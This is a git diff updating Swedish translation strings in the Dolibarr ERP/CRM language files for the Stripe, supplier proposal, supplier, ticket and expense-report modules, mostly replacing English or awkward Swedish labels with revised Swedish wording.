ToOfferALinkForLiveWebhook=Länk till installation Stripe WebHook för att ringa PaymentWillBeRecordedForNextPeriod=Betalning kommer att registreras för nästa period. ClickHereToTryAgain= Klicka här för att försöka igen ... CreationOfPaymentModeMustBeDoneFromStripeInterface=På grund av starka regler för kundautentisering måste ett kort skapas från Stripe backoffice. Du kan klicka här för att slå på Stripes kundregister: %s +STRIPE_CARD_PRESENT=Presentkort för Stripe-terminaler +TERMINAL_LOCATION=Plats (adress) för Stripe Terminals +RequestDirectDebitWithStripe=Begär autogiro med Stripe +STRIPE_SEPA_DIRECT_DEBIT=Aktivera autogirobetalningar genom Stripe + diff --git a/htdocs/langs/sv_SE/supplier_proposal.lang b/htdocs/langs/sv_SE/supplier_proposal.lang index 823b602fe4f..772a3146902 100644 --- a/htdocs/langs/sv_SE/supplier_proposal.lang +++ b/htdocs/langs/sv_SE/supplier_proposal.lang @@ -1,58 +1,58 @@ # Dolibarr language file - Source file is en_US - supplier_proposal -SupplierProposal=Leverantörsförslag -supplier_proposalDESC=Hantera prisförfrågningar till leverantörer +SupplierProposal=Leverantörsoffert +supplier_proposalDESC=Hantera prisförfrågningar hos leverantörer SupplierProposalNew=Ny prisförfrågan CommRequest=Prisförfrågan CommRequests=Prisförfrågningar SearchRequest=Hitta en förfrågan -DraftRequests=Utkast till ansökningar -SupplierProposalsDraft=Utkast till leverantörsförslag -LastModifiedRequests=Senaste %s ändrade prisförfrågningar +DraftRequests=Utkast på förfrågningar +SupplierProposalsDraft=Utkast på prisförfrågan +LastModifiedRequests=%s senast ändrade prisförfrågningar RequestsOpened=Öppna prisförfrågningar -SupplierProposalArea=Leverantörsförslag -SupplierProposalShort=Leverantörsförslag -SupplierProposals=Leverantörsförslag -SupplierProposalsShort=Leverantörsförslag +SupplierProposalArea=Leverantörsoffert +SupplierProposalShort=Leverantörsoffert +SupplierProposals=Leverantörsoffert +SupplierProposalsShort=Leverantörsoffert AskPrice=Prisförfrågan NewAskPrice=Ny prisförfrågan ShowSupplierProposal=Visa prisförfrågan AddSupplierProposal=Skapa en prisförfrågan -SupplierProposalRefFourn=Leverantör ref +SupplierProposalRefFourn=Leverantörref. SupplierProposalDate=Leveransdatum -SupplierProposalRefFournNotice=Innan du stänger till "Accepterad", tänk att få tag på leverantörens referenser. -ConfirmValidateAsk=Är du säker på att du vill bekräfta denna prisförfrågan under namn %s ? -DeleteAsk=Ta bort förfrågan +SupplierProposalRefFournNotice=Innan du anger som "Accepterad", kom ihåg att försöka få leverantörens referenser. +ConfirmValidateAsk=Är du säker på att du vill bekräfta denna prisförfrågan under namn %s? +DeleteAsk=Radera förfrågan ValidateAsk=Bekräfta förfrågan SupplierProposalStatusDraft=Utkast (måste bekräftas) -SupplierProposalStatusValidated=Bekräftat (begäran är öppen) -SupplierProposalStatusClosed=Stängt +SupplierProposalStatusValidated=Bekräftad (förfrågan är öppen) +SupplierProposalStatusClosed=Stängd SupplierProposalStatusSigned=Accepterad -SupplierProposalStatusNotSigned=Refused +SupplierProposalStatusNotSigned=Nekad SupplierProposalStatusDraftShort=Utkast -SupplierProposalStatusValidatedShort=Bekräftade -SupplierProposalStatusClosedShort=Stängt +SupplierProposalStatusValidatedShort=Bekräftad +SupplierProposalStatusClosedShort=Stängd SupplierProposalStatusSignedShort=Accepterad -SupplierProposalStatusNotSignedShort=Refused -CopyAskFrom=Skapa en prisförfrågan genom att kopiera en befintlig begäran -CreateEmptyAsk=Skapa blank begäran -ConfirmCloneAsk=Är du säker på att du vill klona prisförfrågan %s ? -ConfirmReOpenAsk=Är du säker på att du vill öppna tillbaka prisförfrågan %s ? -SendAskByMail=Skicka prisförfrågan via post -SendAskRef=Skicka prisförfrågan %s +SupplierProposalStatusNotSignedShort=Nekad +CopyAskFrom=Skapa en prisförfrågan genom att kopiera en befintlig +CreateEmptyAsk=Skapa tom förfrågan +ConfirmCloneAsk=Är du säker på att du vill klona prisförfrågan %s? +ConfirmReOpenAsk=Är du säker på att du vill åter-öppna prisförfrågan %s? +SendAskByMail=Skicka prisförfrågan +SendAskRef=Skickar prisförfrågan %s SupplierProposalCard=Förfråganskort -ConfirmDeleteAsk=Är du säker på att du vill radera denna prisförfrågan %s ? -ActionsOnSupplierProposal=Händelser på prisförfrågan -DocModelAuroreDescription=En komplett begäran modell (logotyp ...) +ConfirmDeleteAsk=Är du säker på att du vill radera denna prisförfrågan %s? +ActionsOnSupplierProposal=Händelser för prisförfrågan +DocModelAuroreDescription=En komplett modell (logotyp ...) CommercialAsk=Prisförfrågan DefaultModelSupplierProposalCreate=Skapa standardmodell DefaultModelSupplierProposalToBill=Standardmall när du avslutar en prisförfrågan (accepterad) -DefaultModelSupplierProposalClosed=Standardmall när du avslutar en prisförfrågan (vägrade) -ListOfSupplierProposals=Förteckning över leverantörsförslagförfrågningar -ListSupplierProposalsAssociatedProject=Förteckning över leverantörsförslag i samband med projektet -SupplierProposalsToClose=Leverantörsförslag att stänga -SupplierProposalsToProcess=Leverantörsförslag att bearbeta +DefaultModelSupplierProposalClosed=Standardmall när du avslutar en prisförfrågan (nekad) +ListOfSupplierProposals=Förteckning över förfrågningar +ListSupplierProposalsAssociatedProject=Förteckning över leverantörsofferter i samband med projekt +SupplierProposalsToClose=Leverantörsofferter att stänga +SupplierProposalsToProcess=Leverantörsofferter att bearbeta LastSupplierProposals=Senaste %s prisförfrågningar AllPriceRequests=Alla förfrågningar TypeContact_supplier_proposal_external_SHIPPING=Leverantörskontakt för leverans TypeContact_supplier_proposal_external_BILLING=Leverantörskontakt för fakturering -TypeContact_supplier_proposal_external_SERVICE=Representanten följa upp förslag +TypeContact_supplier_proposal_external_SERVICE=Representant att följa upp offert diff --git a/htdocs/langs/sv_SE/suppliers.lang b/htdocs/langs/sv_SE/suppliers.lang index ee23dd635c2..e442977b94f 100644 --- a/htdocs/langs/sv_SE/suppliers.lang +++ b/htdocs/langs/sv_SE/suppliers.lang @@ -1,49 +1,57 @@ # Dolibarr language file - Source file is en_US - vendors -Suppliers=Säljare +Suppliers=Leverantörer SuppliersInvoice=Leverantörsfaktura SupplierInvoices=Leverantörsfakturor ShowSupplierInvoice=Visa leverantörsfaktura NewSupplier=Ny leverantör -History=Historia -ListOfSuppliers=Förteckning över leverantörer +NewSupplierInvoice = Ny leverantörsfaktura +History=Historik +ListOfSuppliers=Leverantörsförteckning ShowSupplier=Visa leverantör -OrderDate=Beställ datum -BuyingPriceMin=Bästa köpeskillingen -BuyingPriceMinShort=Bästa köpeskillingen -TotalBuyingPriceMinShort=Totalt subprodukter köper priserna -TotalSellingPriceMinShort=Summa underprodukter säljer priser -SomeSubProductHaveNoPrices=Vissa under produkter har inget pris definierat -AddSupplierPrice=Lägg till köpeskilling -ChangeSupplierPrice=Ändra köpeskillingen +OrderDate=Beställningsdatum +BuyingPriceMin=Bästa inköpspris +BuyingPriceMinShort=Bästa inköpspris +TotalBuyingPriceMinShort=Totala inköpspriset av underprodukter +TotalSellingPriceMinShort=Totala försäljningspriset av underprodukter +SomeSubProductHaveNoPrices=Vissa underprodukter har inget pris angivet +AddSupplierPrice=Lägg till inköpspris +ChangeSupplierPrice=Ändra inköpspris SupplierPrices=Leverantörspriser ReferenceSupplierIsAlreadyAssociatedWithAProduct=Denna leverantörsreferens är redan associerad med en produkt: %s -NoRecordedSuppliers=Ingen säljare registrerad +NoRecordedSuppliers=Ingen leverantör registrerad SupplierPayment=Leverantörsbetalning -SuppliersArea=Leverantörsareal -RefSupplierShort=Ref. Säljare +SuppliersArea=Leverantörsområde +RefSupplierShort=Leverantörsref. Availability=Tillgänglighet -ExportDataset_fournisseur_1=Leverantörsfaktura och faktura detaljer +ExportDataset_fournisseur_1=Leverantörsfaktura och fakturauppgifter ExportDataset_fournisseur_2=Leverantörsfakturor och betalningar -ExportDataset_fournisseur_3=Beställningar och beställningsuppgifter -ApproveThisOrder=Godkänna denna order -ConfirmApproveThisOrder=Är du säker på att du vill godkänna beställningen %s ? +ExportDataset_fournisseur_3=Inköpsorder och orderuppgifter +ApproveThisOrder=Godkänn denna order +ConfirmApproveThisOrder=Är du säker på att du vill godkänna beställningen %s? DenyingThisOrder=Neka denna order -ConfirmDenyingThisOrder=Är du säker på att du vill neka denna order %s ? -ConfirmCancelThisOrder=Är du säker på att du vill avbryta denna order %s ? +ConfirmDenyingThisOrder=Är du säker på att du vill neka denna order %s? +ConfirmCancelThisOrder=Är du säker på att du vill avbryta denna order %s? AddSupplierOrder=Skapa inköpsorder AddSupplierInvoice=Skapa leverantörsfaktura -ListOfSupplierProductForSupplier=Lista över produkter och priser för säljare %s -SentToSuppliers=Skickas till leverantörer -ListOfSupplierOrders=Förteckning över inköpsorder +ListOfSupplierProductForSupplier=Lista över produkter och priser för leverantören %s +SentToSuppliers=Skickad till leverantörer +ListOfSupplierOrders=Lista inköpsorder MenuOrdersSupplierToBill=Inköpsorder att fakturera -NbDaysToDelivery=Leveransfördröjning (dagar) -DescNbDaysToDelivery=Den längsta leveransförseningen för produkterna från denna order -SupplierReputation=Leverantörs rykte -ReferenceReputation=Referens rykte +NbDaysToDelivery=Leveranstid (dagar) +DescNbDaysToDelivery=Den längsta leveranstiden för produkter i denna order +SupplierReputation=Leverantörsrykte +ReferenceReputation=Referensrykte DoNotOrderThisProductToThisSupplier=Beställ inte NotTheGoodQualitySupplier=Låg kvalitet ReputationForThisProduct=Rykte -BuyerName=Köparens namn -AllProductServicePrices=Alla produkt- / servicepriser -AllProductReferencesOfSupplier=Alla referenser från leverantören +BuyerName=Inköpares namn +AllProductServicePrices=Alla produkt-/servicepriser +AllProductReferencesOfSupplier=Alla referenser om leverantören BuyingPriceNumShort=Leverantörspriser +RepeatableSupplierInvoice=Mall leverantörsfaktura +RepeatableSupplierInvoices=Mall leverantörsfakturor +RepeatableSupplierInvoicesList=Mall leverantörsfakturor +RecurringSupplierInvoices=Återkommande leverantörsfakturor +ToCreateAPredefinedSupplierInvoice=För att skapa mall för leverantörsfaktura måste du skapa en standardfaktura och sedan, utan att bekräfta den, klicka på knappen %s. +GeneratedFromSupplierTemplate=Genererad från leverantörsfakturamall %s +SupplierInvoiceGeneratedFromTemplate=Leverantörsfaktura %s har genererats från leverantörsfakturamall %s diff --git a/htdocs/langs/sv_SE/ticket.lang b/htdocs/langs/sv_SE/ticket.lang index f93fd8f86d9..7fffba2728f 100644 --- a/htdocs/langs/sv_SE/ticket.lang +++ b/htdocs/langs/sv_SE/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Ändra ärenden Permission56003=Radera ärenden Permission56004=Hantera ärenden Permission56005=Se ärenden till alla tredje parter (inte effektiva för externa användare, alltid begränsad till tredje part som de är beroende av) +Permission56006=Exportera ärenden +Tickets=Ärenden TicketDictType=Ärende - Typer TicketDictCategory=Ärende - Grupper TicketDictSeverity=Ticket - Severiteter @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Extern bidragsyter OriginEmail=Reporter E-post Notify_TICKET_SENTBYMAIL=Skicka ärrendemeddelande via e-post +ExportDataset_ticket_1=Ärenden + # Status Read=Läsa Assigned=Tilldelad @@ -84,21 +88,23 @@ MailToSendTicketMessage=Att skicka e-post från ärrendemeddelande # Admin page # TicketSetup=Inställning av ärrendemodul -TicketSettings=inställningar +TicketSettings=Inställningar TicketSetupPage= TicketPublicAccess=Ett offentligt gränssnitt som kräver ingen identifiering finns på följande webbadress TicketSetupDictionaries=Typ av ärende, svårighetsgrad och analytiska koder är konfigurerbara från ordböcker TicketParamModule=Inställning av modulvariabler TicketParamMail=E-postinställningar -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr -TicketEmailNotificationTo=Notify ticket creation to this e-mail address -TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation +TicketEmailNotificationFrom=Avsändare e-post för avisering om svar +TicketEmailNotificationFromHelp=Avsändarens e-post som ska användas för att skicka e-postmeddelandet när ett svar ges i backoffice. Till exempel noreply@example.com +TicketEmailNotificationTo=Meddela skapande av ärendet till denna e-postadress +TicketEmailNotificationToHelp=Om den är angiven kommer denna e-postadress att meddelas om en ärendeskapande TicketNewEmailBodyLabel=Textmeddelande skickat efter att du skapat en ärende TicketNewEmailBodyHelp=Texten som anges här kommer att införas i e-postmeddelandet som bekräftar skapandet av en ny ärende från det offentliga gränssnittet. Information om samråd med ärendet läggs automatiskt till. TicketParamPublicInterface=Inställningar för offentligt gränssnitt TicketsEmailMustExist=Kräver en befintlig e-postadress för att skapa en ärende TicketsEmailMustExistHelp=I det offentliga gränssnittet ska e-postadressen redan fyllas i databasen för att skapa en ny ärende. +TicketCreateThirdPartyWithContactIfNotExist=Fråga namn och företagsnamn för okända e-postmeddelanden. +TicketCreateThirdPartyWithContactIfNotExistHelp=Kontrollera om det finns en tredje part eller en kontakt för e-postmeddelandet. Om inte, fråga ett namn och ett företagsnamn för att skapa en tredje part med kontakt. PublicInterface=Offentligt gränssnitt TicketUrlPublicInterfaceLabelAdmin=Alternativ webbadress för offentligt gränssnitt TicketUrlPublicInterfaceHelpAdmin=Det är möjligt att definiera ett alias till webbservern och därmed göra tillgängligt det offentliga gränssnittet med en annan webbadress (servern måste fungera som en proxy på den här nya webbadressen) @@ -136,17 +142,19 @@ TicketsPublicNotificationNewMessage=Skicka e-post när ett nytt meddelande / en TicketsPublicNotificationNewMessageHelp=Skicka e-post (ar) när ett nytt meddelande läggs till från det offentliga gränssnittet (tilldelad användare eller e-postmeddelanden till (uppdatering) och / eller e-postmeddelanden till) TicketPublicNotificationNewMessageDefaultEmail=Meddelanden via e-post till (uppdatering) TicketPublicNotificationNewMessageDefaultEmailHelp=Skicka ett e-postmeddelande till den här adressen för varje meddelande om nytt meddelande om ärendet inte har tilldelats någon användare eller om användaren inte har någon känd e-post. -TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) -TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". -TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): -TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. -TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): -TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. -TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket -TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. -TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. -TicketChooseProductCategory=Product category for ticket support -TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketsAutoReadTicket=Markera ärendet automatiskt som läst (när den skapas från backoffice) +TicketsAutoReadTicketHelp=Markera automatiskt ärendet som läst när den skapas från backoffice. När ärendet skapas från det offentliga gränssnittet förblir ärendet med statusen "Inte läst". +TicketsDelayBeforeFirstAnswer=Ett nytt ärende bör få ett första svar innan (timmar): +TicketsDelayBeforeFirstAnswerHelp=Om ett nytt ärende inte har fått något svar efter denna tidsperiod (i timmar), kommer en viktig varningsikon att visas i listvyn. +TicketsDelayBetweenAnswers=Ett olöst ärende ska inte vara inaktivt under (timmar): +TicketsDelayBetweenAnswersHelp=Om ett olöst ärende som redan har fått ett svar inte har haft ytterligare interaktion efter denna tidsperiod (i timmar), kommer en varningsikon att visas i listvyn. +TicketsAutoNotifyClose=Meddela automatiskt tredje part när du stänger ett ärende +TicketsAutoNotifyCloseHelp=När du stänger ett ärende kommer du att föreslås skicka ett meddelande till en av tredje parts kontakter. Vid massstängning kommer ett meddelande att skickas till en kontakt från den tredje part som är kopplad till ärendet. +TicketWrongContact=Förutsatt att kontakt inte är en del av aktuella ärendekontakter. E-post har inte skickats. +TicketChooseProductCategory=Produktkategori för ärendesupport +TicketChooseProductCategoryHelp=Välj produktkategori för ärendesupport. Detta kommer att användas för att automatiskt koppla ett kontrakt till ett ärende. +TicketUseCaptchaCode=Använd grafisk kod (CAPTCHA) när du skapar ett ärende +TicketUseCaptchaCodeHelp=Lägger till CAPTCHA-verifiering när du skapar en nytt ärende # # Index & list page @@ -163,8 +171,8 @@ OrderByDateAsc=Sortera efter stigande datum OrderByDateDesc=Sortera efter fallande datum ShowAsConversation=Visa som konversationslista MessageListViewType=Visa som tabellista -ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets -ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? +ConfirmMassTicketClosingSendEmail=Skicka e-post automatiskt när du stänger ärende +ConfirmMassTicketClosingSendEmailQuestion=Vill du meddela tredje part när du stänger dessa ärenden? # # Ticket card @@ -178,7 +186,7 @@ CreatedBy=Skapad av NewTicket=Ny ärende SubjectAnswerToTicket=Ärendesvar TicketTypeRequest=Förfrågan typ -TicketCategory=Ärendekategorisering +TicketCategory=Ticket group SeeTicket=Se ärende TicketMarkedAsRead=Ärende har markerats som läst TicketReadOn=Läs vidare @@ -190,8 +198,7 @@ TicketAssigned=Ärendeen är nu tilldelad TicketChangeType=Ändra typ TicketChangeCategory=Ändra analytisk kod TicketChangeSeverity=Ändra allvarlighet -TicketAddMessage=Lägg till ett meddelande -AddMessage=Lägg till ett meddelande +TicketAddMessage=Lägg till privat meddelande MessageSuccessfullyAdded=Ärende tillagd TicketMessageSuccessfullyAdded=Meddelandet har lagts till TicketMessagesList=Meddelandelista @@ -202,8 +209,8 @@ TicketSeverity=Allvarlighet ShowTicket=Se ärende RelatedTickets=Relaterade ärenden TicketAddIntervention=Skapa ingripande -CloseTicket=Lös/Stäng ärende -AbandonTicket=Överge ärende +CloseTicket=Stäng|Lös +AbandonTicket=Överge CloseATicket=Lös/Stäng ett ärende ConfirmCloseAticket=Bekräfta ärende stängning ConfirmAbandonTicket=Vänligen bekräfta att du vill sätta ärendet som "Övergivet" @@ -217,18 +224,17 @@ SendMessageByEmail=Skicka meddelande via e-post TicketNewMessage=Nytt meddelande ErrorMailRecipientIsEmptyForSendTicketMessage=Mottagaren är tom. Ingen email skickad TicketGoIntoContactTab=Vänligen gå till fliken "Kontakter" för att välja dem -TicketMessageMailIntro=Introduktion +TicketMessageMailIntro=Meddelandehuvud TicketMessageMailIntroHelp=Denna text läggs till endast i början av e-postmeddelandet och kommer inte att sparas. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers -TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Namnteckning -TicketMessageMailSignatureHelp=Denna text läggs till endast i slutet av e-postmeddelandet och kommer inte att sparas. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Signatur för e-postsvar -TicketMessageMailSignatureHelpAdmin=Denna text läggs in efter svarmeddelandet. +TicketMessageMailIntroText=Hej,
      Ett nytt svar har lagts till på ett ärende som du följer. Här är meddelandet:
      +TicketMessageMailIntroHelpAdmin=Denna text kommer att infogas före svaret när du svarar på ett ärende från Dolibarr +TicketMessageMailFooter=Meddelandes sidfot +TicketMessageMailFooterHelp=Denna text läggs endast till i slutet av meddelandet som skickas via e-post och kommer inte att sparas. +TicketMessageMailFooterText=Meddelande skickat av %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Denna text kommer att infogas efter svarsmeddelandet. TicketMessageHelp=Endast den här texten sparas i meddelandelistan på ärrendekortet. TicketMessageSubstitutionReplacedByGenericValues=Substitutionsvariabler ersätts av generiska värden. +ForEmailMessageWillBeCompletedWith=För e-postmeddelanden som skickas till externa användare kommer meddelandet att kompletteras med TimeElapsedSince=Tid förflutit sedan TicketTimeToRead=Tid förfluten innan den läste TicketTimeElapsedBeforeSince=Tid som gått före / sedan @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Ett nytt meddelande publicerades på TicketAssignedToYou=Ärende tilldelad TicketAssignedEmailBody=Du har tilldelats ärendet # %s av %s MarkMessageAsPrivate=Markera meddelande som privat +TicketMessageSendEmailHelp=Ett e-postmeddelande kommer att skickas till alla tilldelade kontakter (interna kontakter, men även externa kontakter förutom om alternativet "%s" är markerat) TicketMessagePrivateHelp=Det här meddelandet visas inte till externa användare TicketEmailOriginIssuer=Utgivare på grund av ärrendeerna InitialMessage=Initialt meddelande @@ -252,16 +259,16 @@ TicketChangeStatus=Byta status TicketConfirmChangeStatus=Bekräfta statusändringen: %s? TicketLogStatusChanged=Status ändrad: %s till %s TicketNotNotifyTiersAtCreate=Meddela inte företaget på create -NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket -TicketNotifyAllTiersAtClose=All related contacts -TicketNotNotifyTiersAtClose=No related contact +NotifyThirdpartyOnTicketClosing=Kontakter att meddela när du stänger ärendet +TicketNotifyAllTiersAtClose=Alla relaterade kontakter +TicketNotNotifyTiersAtClose=Ingen relaterad kontakt Unread=Oläst TicketNotCreatedFromPublicInterface=Inte tillgänglig. Ärendeen skapades inte från det offentliga gränssnittet. ErrorTicketRefRequired=Ärendereferensnamn krävs -TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. -TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. -TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. -TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. +TicketsDelayForFirstResponseTooLong=Det har gått för lång tid sedan ärendet skapades utan något svar. +TicketsDelayFromLastResponseTooLong=Det har gått för lång tid sedan senaste svaret på detta ärendet. +TicketNoContractFoundToLink=Inget kontrakt hittades som automatiskt är kopplat till detta ärende. Vänligen länka ett kontrakt manuellt. +TicketManyContractsLinked=Många kontrakt har automatiskt kopplats till detta ärende. Se till att verifiera vilken som ska väljas. # # Logs @@ -289,12 +296,12 @@ TicketNewEmailBody=Det här är ett automatiskt e-postmeddelande som bekräftar TicketNewEmailBodyCustomer=Det här är ett automatiskt e-postmeddelande för att bekräfta en ny ärende har just skapats i ditt konto. TicketNewEmailBodyInfosTicket=Information för övervakning av ärendet TicketNewEmailBodyInfosTrackId=Ärendespårningsnummer: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link +TicketNewEmailBodyInfosTrackUrl=Du kan se förloppet för ärendet genom att klicka på följande länk TicketNewEmailBodyInfosTrackUrlCustomer=Du kan se framstegen på ärendet i det specifika gränssnittet genom att klicka på följande länk -TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=Du kan se historiken för detta ärende genom att klicka på följande länk TicketEmailPleaseDoNotReplyToThisEmail=Vänligen svara inte direkt på det här meddelandet! Använd länken för att svara på gränssnittet. TicketPublicInfoCreateTicket=I det här formuläret kan du spela in en supportärrende i vårt styrsystem. -TicketPublicPleaseBeAccuratelyDescribe=Var snäll och beskriv problemet. Ge så mycket information som möjligt för att vi ska kunna identifiera din förfrågan korrekt. +TicketPublicPleaseBeAccuratelyDescribe=Vänligen beskriv din fråga korrekt. Ge så mycket information som möjligt för att vi ska kunna identifiera din begäran korrekt. TicketPublicMsgViewLogIn=Vänligen ange ärrendespårnings-ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=Ett av ditt spårnings-ID @@ -313,10 +320,10 @@ NewUser=Ny användare NumberOfTicketsByMonth=Antal ärenden per månad NbOfTickets=Antal ärenden # notifications -TicketCloseEmailSubjectCustomer=Ticket closed -TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. -TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) -TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: +TicketCloseEmailSubjectCustomer=Ärendet stängt +TicketCloseEmailBodyCustomer=Detta är ett automatiskt meddelande för att meddela dig att ärendet %s just har stängts. +TicketCloseEmailSubjectAdmin=Ärendet stängd - Ref %s (offentligt ärende-ID %s) +TicketCloseEmailBodyAdmin=Ett ärende med ID #%s har just stängts, se information: TicketNotificationEmailSubject=Ärende %s uppdaterad TicketNotificationEmailBody=Detta är ett automatiskt meddelande för att meddela dig att ärendet %s just har uppdaterats TicketNotificationRecipient=Meddelande mottagare @@ -344,7 +351,7 @@ BoxTicketLastXDays=Antal nya ärenden per dagar de senaste %s dagarna BoxTicketLastXDayswidget = Antal nya ärenden efter dagar de senaste X dagarna BoxNoTicketLastXDays=Inga nya ärenden de senaste %s dagarna BoxNumberOfTicketByDay=Antal nya ärenden per dag -BoxNewTicketVSClose=Number of tickets versus closed tickets (today) +BoxNewTicketVSClose=Antal ärenden kontra stängda ärenden (idag) TicketCreatedToday=Ärende skapad idag TicketClosedToday=Ärendeen stängd idag KMFoundForTicketGroup=Vi hittade ämnen och FAQ som kan svara din fråga, vänligen kontrollera dem innan du skapar ärendet. diff --git a/htdocs/langs/sv_SE/trips.lang b/htdocs/langs/sv_SE/trips.lang index 963e36d225a..df1126ff084 100644 --- a/htdocs/langs/sv_SE/trips.lang +++ b/htdocs/langs/sv_SE/trips.lang @@ -1,150 +1,152 @@ # Dolibarr language file - Source file is en_US - trips -ShowExpenseReport=Visa kostnadsrapport -Trips=Räkningar -TripsAndExpenses=Kostnadsrapporter -TripsAndExpensesStatistics=Kostnadsrapporteringsstatistik -TripCard=Kostnadsrapport +AUTHOR=Registrerad av +AUTHORPAIEMENT=Betalad av AddTrip=Skapa kostnadsrapport -ListOfTrips=Förteckning över kostnadsrapporter -ListOfFees=Prislista för -TypeFees=Typer av avgifter -ShowTrip=Visa kostnadsrapport -NewTrip=Ny kostnadsrapport -LastExpenseReports=Senaste %s kostnadsrapporter +AllExpenseReport=All typ av kostnadsrapport AllExpenseReports=Alla kostnadsrapporter -CompanyVisited=Företag / organisation som besökts -FeesKilometersOrAmout=Belopp eller kilometer -DeleteTrip=Ta bort kostnadsrapport -ConfirmDeleteTrip=Är du säker på att du vill ta bort denna kostnadsrapport? -ListTripsAndExpenses=Förteckning över kostnadsrapporter -ListToApprove=Väntar på godkännande -ExpensesArea=Kostnadsrapporteringsområde +AnyOtherInThisListCanValidate=Person som ska informeras för att validera begäran. +AttachTheNewLineToTheDocument=Bifoga raden till ett uppladdat dokument +AucuneLigne=Det finns ingen kostnadsrapport som deklarerats än +BrouillonnerTrip=Flytta tillbaka kostnadsrapport till status "Draft" +byEX_DAY=dag (begränsning till %s) +byEX_EXP=för rad (begränsning till %s) +byEX_MON=per månad (begränsning till %s) +byEX_YEA=per år (begränsning till %s) +CANCEL_USER=Släckt av +CarCategory=Fordonskategori ClassifyRefunded=Märk 'Återbetalas' +CompanyVisited=Företag / organisation som besökts +ConfirmBrouillonnerTrip=Är du säker på att du vill flytta denna kostnadsrapport till status "Draft"? +ConfirmCancelTrip=Är du säker på att du vill avbryta denna kostnadsrapport? +ConfirmCloneExpenseReport=Är du säker på att du vill klona denna kostnadsrapport? +ConfirmDeleteTrip=Är du säker på att du vill ta bort denna kostnadsrapport? +ConfirmPaidTrip=Är du säker på att du vill ändra status för denna kostnadsrapport till "Betald"? +ConfirmRefuseTrip=Är du säker på att du vill neka denna kostnadsrapport? +ConfirmSaveTrip=Är du säker på att du vill bekräfta denna kostnadsrapport? +ConfirmValideTrip=Är du säker på att du vill godkänna denna kostnadsrapport? +DATE_CANCEL=Avbokningsdatum +DATE_PAIEMENT=Betalningsdag +DATE_REFUS=Neka datum +DATE_SAVE=Bekräftelsesdatum +DefaultCategoryCar=Standard transportläge +DefaultRangeNumber=Standardintervallnummer +DeleteTrip=Ta bort kostnadsrapport +ErrorDoubleDeclaration=Du har lämnat en annan kostnadsrapport inom samma datumintervall. +Error_EXPENSEREPORT_ADDON_NotDefined=Fel, regeln för utläggsrapportsnummereringsref definierades inte i inställningen av modulen "Utläggsrapport" +ExpenseRangeOffset=Förskjutningsbelopp: %s +expenseReportCatDisabled=Kategori inaktiverad - se ordboken c_exp_tax_cat +expenseReportCoef=Koefficient +expenseReportCoefUndefined=(värde ej definierat) +expenseReportOffset=Offset +expenseReportPrintExample=offset + (dx coef) = %s +expenseReportRangeDisabled=Område inaktiverat - se c_exp_tax_range dictionay +expenseReportRangeFromTo=från %d till %d +expenseReportRangeMoreThan=mer än %d +expenseReportTotalForFive=Exempel med d = 5 +ExpenseReportApplyTo=Ansöka till +ExpenseReportApproved=En kostnadsrapport godkändes +ExpenseReportApprovedMessage=Kostnadsrapporten %s godkändes.
      - Användare: %s
      - Godkänd av: %s
      Klicka här för att visa kostnadsrapporten: %s +ExpenseReportCanceled=En kostnadsrapport annullerades +ExpenseReportCanceledMessage=Kostnadsrapporten %s avbröts.
      - Användare: %s
      - Avbrytad av: %s
      - Motiv för avbokning: %s
